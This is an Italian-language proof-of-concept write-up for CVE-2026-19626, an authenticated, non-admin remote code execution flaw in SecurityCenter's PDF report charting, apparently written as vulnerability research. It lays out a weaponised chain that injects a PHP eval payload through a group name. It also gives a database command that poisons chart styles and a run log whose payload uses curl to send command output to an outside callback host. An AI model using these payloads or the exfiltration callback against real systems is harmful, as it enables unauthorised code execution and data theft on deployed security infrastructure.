
Exploit proof-of-concept per CVE-2026-19626, un'esecuzione remota di codice autenticata nella generazione dei report di SecurityCenter, che dimostra una catena non-admin tramite iniezione del nome di gruppo ed eval PHP.

Stato: CONFERMATO — puramente REMOTO, non admin, solo REST (lab 6.7.2-14.el9, 2026-08-21).
La catena weaponizzata (questo è ciò che fa poc.py):
POST /rest/group con name: "{=system('<cmd>')}" — parentesi graffe/virgolette accettate
letteralmente (il controller dei gruppi non ha controllo sul charset)POST /rest/reportDefinition — report PDF, un componente pieChart,
query user/sumgroup, labelColumns: groupIDPOST /rest/reportDefinition/{id}/launchsubstituteParams() sostituisce il segnaposto con il
nome del gruppo PRIMA che il ciclo di eval venga eseguito — il payload finisce
dentro la stringa di formato e viene eseguito come tns{label}{=...}eval("$expr = system('<cmd>');")system() viene sostituito di nuovo nell'etichetta — l'output
del comando viene renderizzato nella legenda del grafico a torta del report finale (il canale di esfiltrazione)Marker /tmp/pwn_label creato da questa esatta catena (nessun accesso al DB, nessuna scrittura di stile,
nessun upload di file). Si noti che il gruppo con zero membri produce comunque una fetta — l'aggregazione
sumgroup lo include.
Confermato inoltre tramite invocazione diretta e stile avvelenato nell'intera pipeline (vedi
cronologia sotto): il sink eval è attivo nella substituteParams() shipped, e un
attributo di stile predefinito legendFormat avvelenato scatta su QUALSIASI rendering di pie-chart,
inclusi report non di proprietà di un admin.
Avvertenza sulla delivery (perché il PoC puramente REST si blocca): l'oggetto
style inline della definizione del report — dove il PoC inserisce legendFormat/labelFormat — è
memorizzato letteralmente in xmlDefinition ma scartato al rendering: getReport(CONTEXT_RENDER)
reidrata i componenti dalle tabelle normalizzate e sovrascrive
$component['style'] con StyleLib::getComponentStyle() (recuperato tramite styleID).
Il controller di import degli stili esiste (Styles::add, analizza un file XML caricato tramite
xmlToStyles, con il controllo admin-only commentato) ma nessuna rotta è esposta — una raffica
di 12 verbi/percorsi (style, styles, style::add, style/import ×
POST/PUT/PATCH, con un nome file valido predisposto) restituisce tutti errore 10, e il bundle UI
contiene zero chiamate agli endpoint di stile. La delivery puramente remota richiede quindi un
percorso di scrittura degli stili che 6.7.2 non espone; la catena renderizzata è stata dimostrata
tramite l'attributo di stile direttamente.
/opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 e precedenti):
eval("\$expr = {$exprs[1]};") in substituteParams(). Le stringhe di formato
legenda/etichetta del pie-chart ($style['legendFormat'] / $style['labelFormat'],
righe 4952/4983) supportano segnaposto {=<arithmetic>}, es. il default integrato
{={sector}+1}. Il corpo dell'espressione è contenuto fornito dall'utente nella definizione del report →
PHP arbitrario.eval("\$sectorLabels->setBackground($labelStyle);") con
labelStyling dallo stile del grafico. La guardia 6.8.0 era
if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — rifiuta solo ;;
system('cmd') passa.if (is_callable($matches['name'])) sulle specifiche delle forme a barra come
circleShape(10). system(id) passa il gate. Il commento del fix 6.9.0 lo afferma
esplicitamente: "is_callable() is NOT a safe gate (is_callable("system") === true)".Qualsiasi utente org con diritti sulle definizioni dei report raggiunge tutti e tre al momento del rendering
(generateReport.php / Jobd). ReportDefinitions::launch() rifiuta ROLE_ADMIN —
la classe di bug è esplicitamente non-admin.
L'output del comando viene sostituito di nuovo nel testo dell'etichetta, quindi il report renderizzato è il canale di esfiltrazione.
eval() rimosso; le espressioni {=...} limitate a
/^[0-9.\s()+\-*\/]+/ e valutate da un tokenizer; resolveLabelStyleArgs() analizza
lo styling delle etichette in una lista di argomenti; isAllowedBarShapeFunction() allowlist con
parametri solo numerici.
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
Iniezione dell'etichetta con il nome del gruppo (la catena remota sopra): crea il gruppo
con il nome-payload, costruisce il report sumgroup, lo lancia e interroga il risultato renderizzato —
l'output del comando appare nella legenda a torta del report finale. Vincolo del
payload: nessun carattere } (la regex {=...} è non-greedy fino alla prima
parentesi graffa); l'output del comando viaggia con la sostituzione dell'etichetta, quindi leggilo dal report
o verificalo tramite marker/timing.
style.legendFormat/labelFormat inline della definizione è memorizzato letteralmente in
xmlDefinition ma scartato al rendering — i componenti reidratano gli stili dalle
tabelle Style tramite styleID (il contesto di rendering ReportDefinitionLib sovrascrive
$component['style'] con StyleLib::getComponentStyle()).Styles::add, controllo admin commentato,
analizza un XML caricato via xmlToStyles) ma nessuna rotta è cablata — 12
combinazioni verbo/percorso (incl. la sotto-risorsa /rest/style/{id}) restituiscono tutte errore 10,
e il bundle UI contiene zero chiamate agli endpoint di stile.{label} precede il
ciclo di eval, quindi QUALSIASI etichetta influenzabile dall'attaccante (nome del gruppo qui; campi del profilo utente
e hostname degli asset scansionati hanno la stessa forma) trasporta il payload.# sink diretto (sulla macchina)
/opt/sc/support/bin/php /tmp/t.php # richiede defines+phpchartdir+ReportChartingLib
# avvelenamento stile (root) + lancio di qualsiasi report
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# ripristino: DELETE di quelle righe dell'attributo (ritorna ai default integrati)
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
[+] report launched — chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0